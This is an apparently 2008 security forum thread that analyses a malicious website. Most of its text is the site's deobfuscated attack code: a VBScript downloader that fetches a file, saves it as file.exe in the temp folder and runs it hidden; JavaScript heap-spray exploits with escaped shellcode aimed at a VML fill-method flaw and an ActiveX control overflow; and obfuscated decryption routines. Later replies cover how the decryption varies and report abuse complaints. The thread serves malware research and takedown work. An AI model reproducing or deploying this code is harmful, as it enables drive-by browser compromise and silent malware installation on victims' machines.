gdne8=gdne1&gdne2&gdne3&gdne4&gdne5&gdne6&gdne7
   
    set YEY = ydsf.createobject(gdne8,"")
    YEY.type = 1
    lo1="G"
    lo2="E"
    lo3="T"
    retgfy=lo1&lo2&lo3
    xaad.Open retgfy, dsl, False
    xaad.Send
    fanamezz1="file.exe"

    scrdsip1="Scrip"
    scrdsip2="ting"
    scrdsip3=".Fil"
    scrdsip4="eSyste"
    scrdsip5="mObject"
    scrdsip=scrdsip1&scrdsip2&scrdsip3&scrdsip4&scrdsip5

    set FsF = ydsf.createobject(scrdsip,"")
    set tmps = F.GetSpecialFolder(2)
    fanamezz1= FsF.BuildPath(tmps,fanamezz1)


    YEY.open
    YEY.write xaad.responseBody
    YEY.savetofile fanamezz1,2
    YEY.close
    set MMS = ydsf.createobject("Shell.Application","")
        MMS.ShellExecute fanamezz1,"","","open",0
</script>


<html xmlns:v="urn:schemas-microsoft-com:vml">
  <head>
    <style>v\:* { behavior: url(#katz); }</style>
  </head>
<body>
    <object id="katz" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
    </object>
<script language="javascript">
    hrso = '%u9090';
kzhj = '%u9090';
bzda = '%u9090';
dmml = '%u3390';
bwdj = '%u33c0';
iwvs = '%uebc9';
stoc = '%u5e12';
uzdb = '%ub966';
rwqb = '%uef00';
wxlx = '%ufe8b';
xoya = '%u2e80';
almc = '%u800b';
hpmp = '%u0936%ue246';
liie = '%uebf7%ue805%uffe9%uffff%uaeeb%u1414%u6114%ub378%u1444%u1414%u548d%u8d10%u2084%u8daf%u0c6c%u098d%u186e%uec5b';
bxhv = '%u144e';
xkxo = '%u1414%ufbf6%u716c%u1472%u6c14%u8687%u6f70';
hnqd = '%u0168';
lbbi = '%u8d2a';
pajq = '%uecec';
lvss = '%u1448%u1414%uf095%u8d34%u6ee0%u6534%u6a01%ud918%u1c18%u7560%u8784';
lfiw = '%u58d9';
nrbo = '%u181c%u7732%u777c%u58da%u0c1c%u4514%u64d4%u6564%u6469%u6a01%u8d24';
oikl = '%u6ee0';
tiaa = '%u6517';
vqeh = '%u6a01';
sgqh = '%u010c';
gayr = '%u106a';
wrjh = '%u6a63';
wsej = '%u878d';
jfyx = '%u8d40%u4788%u157c%u6a07%u8a8d%u1534%u4507%u4bcb%uaf53%ud715%udd45%uc211%u3c24%u8806%ud30c%u0fcd%ude15%ued54';
njjg = '%u3d03';
rkhn = '%u8721%u62f9%u628d%u1538%u7adf%u108d%u8d4d%u2062%udf15%u188d%u158d%uadd7%u5b62%uecd5%u0163%u0101%u5292%uf012%uddef';
alus = '%ufcf0';
rlay = '%u029c';
lzph = '%u128e%udc82%u85f6%u1e4a';
qzpm = '%u8431%u886c%u8488%u313e%u8531%u6b6c%u738a%u6f71%u7232%u8877%u8631%u7077%u796b%u716b';
rtva = '%u3172%u776b%u7731';
yuym = '%u777c';
disu = '%u8432';
szht = '%u846c';
lcld = '%u0014';
mbzlq = hrso+kzhj+bzda+dmml+bwdj+iwvs+stoc+uzdb+rwqb+wxlx+xoya+almc+hpmp+liie+bxhv+xkxo+hnqd+lbbi+pajq+lvss+lfiw+nrbo+oikl+tiaa+vqeh+sgqh+gayr+wrjh+wsej+jfyx+njjg+rkhn+alus+rlay+lzph+qzpm+rtva+yuym+disu+szht+lcld;


    var hah = unescape(mbzlq);
    bqwo = unescape("%"+"u"+"9090%u"+"9090");

    pkio = 1+3+3+2+1+1+7+1+1;
    wsl = 1+20+1+1+1+1+1+1+1+7+1+1+9+1+7+1+1+1+26+1+1+31;

    tbhsj = pkio + hah.length;
    while (bqwo.length < tbhsj)
      bqwo += bqwo;

    dmm = bqwo.substring(0, tbhsj);

    zzhz = bqwo.substring(0, bqwo.length-tbhsj);

    while (zzhz.length + tbhsj < "0x3"+"000"+"0")
      zzhz = zzhz + zzhz + dmm;

    ygnod = new Array();
    for (i=0;i<wsl;i++) {
      ygnod[i] = zzhz + hah;
    }

  </script>
<div id="hpmh"></div>
<script language="javascript">
  bayjtij = "<"+"v"+":"+"rect>"+"<"+"v"+":"+"fi"+"l"+"l"+" "+"me"+"thod "+"="+" "+"'";
  uweuvmt = "&"+"#"+"x"+"0606;&#x0"+"606;&"+"#x0606;";
  for (i=0; i<3500; ++i) {
    bayjtij = bayjtij + uweuvmt;
  }
  bayjtij = bayjtij + "'></v:re"+"ct></v"+":fill>";
  document.getElementById("hpmh").innerHTML = bayjtij;
</script>
</body>
</html>
<html>
<object
classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277'
id='target'>
</object>
<script>
ure="%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7241%u6172%u0079";
shecode = unescape(ure);
sadw="%u9090%u9090";
bbl = unescape(sadw);
hea = 20;
slapace = hea+shecode.length
while (bbl.length<slapace) bbl+=bbl;
fllk = bbl.substring(0, slapace);
block = bbl.substring(0, bbl.length-slapace);
ders= blocksad.length + slapace
while(ders<0x40000) blocksad = blocksad+blocksad+fllk;
memory = new Array();
for (x=0; x<800; x++) memory[x] = blocksad + shecode;
var buff = '\x0a';
while (buff.length < 5000) buff+='\x0a\x0a\x0a\x0a';
target.server = buff;
target.receive();
</script>
</html>
 

May 02, 2008, 10:21:43 pm
Reply #2

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
You will also notice that the decryption routine is dyamic when you visit the page. So it will be different if you visit the page multiple times, but will give the same output.

Code: [Select]
function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,28,21,15,0,60,36,37,9,54,0,0,0,0,0,0,48,7,4,42,5,11,8,31,23,58,57,43,26,18,34,52,56,10,55,24,16,61,20,47,51,19,27,0,0,0,0,1,0,39,25,41,40,12,62,3,6,50,49,13,14,53,2,32,29,22,35,30,45,44,59,17,33,46,38);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("Dzcj4W1O4GUz9K5mHXkxDiWiTHFvmHFXqHPj8Kujlg1@EzcNhg5iwg5mZn")
 

Code: [Select]
function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,0,15,60,37,2,31,30,28,57,0,0,0,0,0,0,11,61,54,29,41,10,44,49,50,38,59,20,12,52,16,13,36,22,26,43,48,3,58,6,47,62,4,0,0,0,0,33,0,51,39,40,23,53,9,55,56,19,8,1,32,46,25,14,45,17,35,21,42,18,34,5,24,7,27);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("wIDG1X8M16AIBS3edaO_wHXHNdjJedjaQdhGfSFGoU8T@IDvWU3HqU3ez5")
 

Both give the same.

Thank you for the domains.

May 03, 2008, 03:54:17 pm
Reply #3

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

May 03, 2008, 05:34:38 pm
Reply #4

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
As an FYI, if you visit the site with scripts and iFrames disabled, you'll see how I came across it ;)

I actually sent the complaint via e-mail, but as with RapidSwitch, it resulted in it's being created as a ticket on the download-help.com site. Bleedin annoying it is too ......
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net